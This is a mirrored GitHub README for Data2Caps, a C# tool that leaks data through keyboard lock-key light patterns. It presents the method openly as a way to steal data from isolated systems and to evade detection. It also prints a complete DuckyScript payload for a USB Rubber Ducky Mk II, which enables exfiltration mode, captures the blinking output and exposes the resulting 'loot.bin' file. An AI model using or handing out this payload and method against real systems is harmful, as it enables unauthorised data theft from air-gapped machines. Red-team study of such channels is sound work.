Coder Social home page Coder Social logo

data2caps's Introduction

Data2Caps


Data2Caps is a C# project that converts messages or files into a sequence of light intervals of the lock keys of a keyboard. This play of lights can be used to exfiltrate those data. This method, also called keystroke reflection, can be used to steal data from isolated systems or to make detection more difficult. Devices such as Hak5's USB Rubber Ducky Mk II can be used to utilize this form of data exfiltration.

This method of exfiltration tends to be slow. Exfiltrating large files or messages may take several minutes, up to multiple hours.

References:


Command Line Usage

Menu

Duckyscript example

This example can be utilized to see the binary in action. After everything is set up, use the following payload with your Rubber Ducky Mk II. Wait for the LED to shine in the color red, then execute Data2Caps with the desired message to exfiltrate. The green led will indicate the success. Storage will be opened at the end, so the contents of the loot.bin file can be checked

    DELAY 3000
    SAVE_HOST_KEYBOARD_LOCK_STATE
    $_EXFIL_MODE_ENABLED = TRUE
    $_EXFIL_LEDS_ENABLED = TRUE
    DELAY 500
    LED_R
    WAIT_FOR_SCROLL_CHANGE
    DELAY 250
    LED_G
    DELAY 250
    $_EXFIL_MODE_ENABLED = FALSE
    DELAY 500
    RESTORE_HOST_KEYBOARD_LOCK_STATE
    DELAY 500
    ATTACKMODE STORAGE

data2caps's People

Contributors

0i41e avatar

Watchers

 avatar

data2caps's Issues

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.